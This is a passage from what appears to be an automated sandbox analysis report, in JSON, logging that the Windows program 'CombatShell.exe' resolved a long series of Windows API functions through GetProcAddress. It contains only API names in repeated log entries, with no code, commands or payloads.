00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateDirectoryW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateEventW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateFileA (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateFileMappingA (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateFileMappingW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateFileW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateHardLinkW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateIoCompletionPort (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateMutexW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateNamedPipeW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreatePipe (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateProcessW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateThread (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateWaitableTimerExW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DeleteCriticalSection (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DeleteFileA (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DeleteFileW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DeleteProcThreadAttributeList (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DeviceIoControl (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DisconnectNamedPipe (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DuplicateHandle (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter EnterCriticalSection (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ExitProcess (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FileTimeToSystemTime (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FindClose (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FindFirstFileExW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FindNextFileW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FlushFileBuffers (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FlushViewOfFile (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FormatMessageA (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FreeEnvironmentStringsW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FreeLibrary (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetCommandLineW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetComputerNameExW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetConsoleMode (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetConsoleOutputCP (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetCurrentDirectoryW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetCurrentProcess (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetCurrentProcessId (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetCurrentThread (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetCurrentThreadId (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetDiskFreeSpaceA (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetDiskFreeSpaceW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetEnvironmentStringsW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetEnvironmentVariableW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetExitCodeProcess (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetFileAttributesA (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetFileAttributesExW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetFileAttributesW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetFileInformationByHandle (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetFileSize (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetFileType (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetFinalPathNameByHandleW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetFullPathNameA (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetFullPathNameW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetModuleFileNameW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetModuleHandleA (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetModuleHandleW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetNamedPipeInfo (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetNativeSystemInfo (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetOverlappedResult (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetProcAddress (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetProcessId (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetQueuedCompletionStatusEx (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetStdHandle (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetSystemDirectoryW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetSystemInfo (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetSystemTime (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetSystemTimeAsFileTime (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetTempPathA (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetTempPathW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetTickCount (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetTimeZoneInformation (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetUserPreferredUILanguages (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetWindowsDirectoryW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GlobalAlloc (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GlobalFree (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GlobalLock (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GlobalSize (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GlobalUnlock (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter HeapCompact (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter HeapCreate (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter HeapDestroy (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter HeapReAlloc (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter HeapSize (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter HeapValidate (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter InitOnceBeginInitialize (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter InitOnceComplete (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter InitializeCriticalSection (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter InitializeProcThreadAttributeList (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter LeaveCriticalSection (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter LoadLibraryA (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter LoadLibraryExW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter LoadLibraryW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter LocalFree (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter LockFile (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter LockFileEx (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter MapViewOfFile (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter Module32FirstW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter Module32NextW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter MoveFileExW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter MultiByteToWideChar (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter OpenProcess (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter OutputDebugStringA (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter OutputDebugStringW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter PostQueuedCompletionStatus (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter Process32FirstW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter Process32NextW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter QueryPerformanceCounter (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter QueryPerformanceFrequency (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ReadConsoleW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ReadFile (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ReadFileEx (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RegisterWaitForSingleObject (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RemoveDirectoryW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RtlCaptureContext (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RtlLookupFunctionEntry (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RtlVirtualUnwind (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetConsoleCtrlHandler (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetCurrentDirectoryW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetEndOfFile (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetEnvironmentVariableW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetFileAttributesW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetFileCompletionNotificationModes (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetFilePointer (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetFilePointerEx (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetFileTime (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetHandleInformation (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetLastError (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetThreadStackGuarantee (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetWaitableTimer (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter Sleep (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SleepEx (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SwitchToThread (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SystemTimeToFileTime (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SystemTimeToTzSpecificLocalTime (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter TerminateProcess (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter TlsAlloc (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter TlsFree (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter TlsGetValue (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter TlsSetValue (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter TryEnterCriticalSection (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter TzSpecificLocalTimeToSystemTime (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter UnlockFile (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter UnlockFileEx (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter UnmapViewOfFile (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter UnregisterWaitEx (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter UpdateProcThreadAttribute (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WaitForMultipleObjects (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WaitForSingleObject (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WaitForSingleObjectEx (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WideCharToMultiByte (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WriteConsoleW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WriteFile (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WriteFileEx (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter NCryptFreeObject (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter NtCancelIoFileEx (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter NtCreateFile (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter NtDeviceIoControlFile (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter NtOpenFile (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter NtOpenProcessToken (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter NtReadFile (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter NtWriteFile (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RtlNtStatusToDosError (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CoCreateGuid (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter AcceptSecurityContext (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter AcquireCredentialsHandleA (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ApplyControlToken (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DecryptMessage (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DeleteSecurityContext (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter EncryptMessage (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FreeContextBuffer (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FreeCredentialsHandle (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetUserNameExW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter InitializeSecurityContextW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter QueryContextAttributesW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DragQueryFileW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ShellExecuteW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CloseClipboard (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CountClipboardFormats (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter EmptyClipboard (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter EnumClipboardFormats (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter EnumDisplayMonitors (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter EnumDisplaySettingsExW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetClipboardData (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetClipboardFormatNameW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetDC (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetMonitorInfoW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter IsClipboardFormatAvailable (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter MonitorFromPoint (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter OpenClipboard (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RegisterClipboardFormatW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ReleaseDC (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetClipboardData (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetUserProfileDirectoryW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSACleanup (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSADuplicateSocketW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSAGetLastError (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSAIoctl (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSAPoll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSARecv (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter 